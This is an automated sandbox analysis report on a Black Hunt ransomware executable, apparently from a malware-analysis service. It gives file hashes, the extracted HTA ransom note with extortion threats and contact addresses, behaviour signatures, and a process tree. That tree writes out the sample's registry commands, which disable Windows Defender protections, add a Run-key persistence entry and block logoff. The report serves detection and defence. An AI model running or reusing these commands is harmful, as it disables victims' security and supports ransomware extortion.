Analysis

  • max time kernel
    126s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 01:31

General

  • Target

    fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe

  • Size

    707KB

  • MD5

    715fcb3248681fb71545d800a6a701a5

  • SHA1

    1af52a08c7b0ee1b27d1bc9f4055524d80b2123b

  • SHA256

    fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87

  • SHA512

    94d84d77e997926097353799eba10d33945477ca8e98ea28bd8b11715dbaffa840a9b3b37dda6c61f7540187b811c18c52dc7e42b495be16b71d757640d18efa

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1R8xvnh:6uaTmkZJ+naie5OTamgEoKxLWElh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> xqciL88GKfOZW4i9 </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3368) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 9 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe
    "C:\Users\Admin\AppData\Local\Temp\fc4303cde9c73266e452d9ba18111c02fdcc137987635de7b044d7947cb66e87.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3216
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
        • Modifies registry class
        PID:4988
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3008
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:4784
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:636
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        3⤵
        • Modifies registry class
        PID:620
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:828
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        3⤵
        • Modifies registry class
        PID:2032
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        3⤵
        • Adds Run key to start application
        PID:3660
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:2208
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5112
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        3⤵
          PID:1116
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4228
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          3⤵
            PID:1316
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4300
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            3⤵
              PID:4872
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3256
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              3⤵
                PID:2416
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
              2⤵
                PID:3392
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                  3⤵
                    PID:4152
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2400
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:4876
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1528
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:4648
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4600
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                        3⤵
                          PID:1444
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                        2⤵
                          PID:2052
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                            3⤵
                              PID:2224
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:2764
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:1152
                              • C:\Windows\System32\cmd.exe
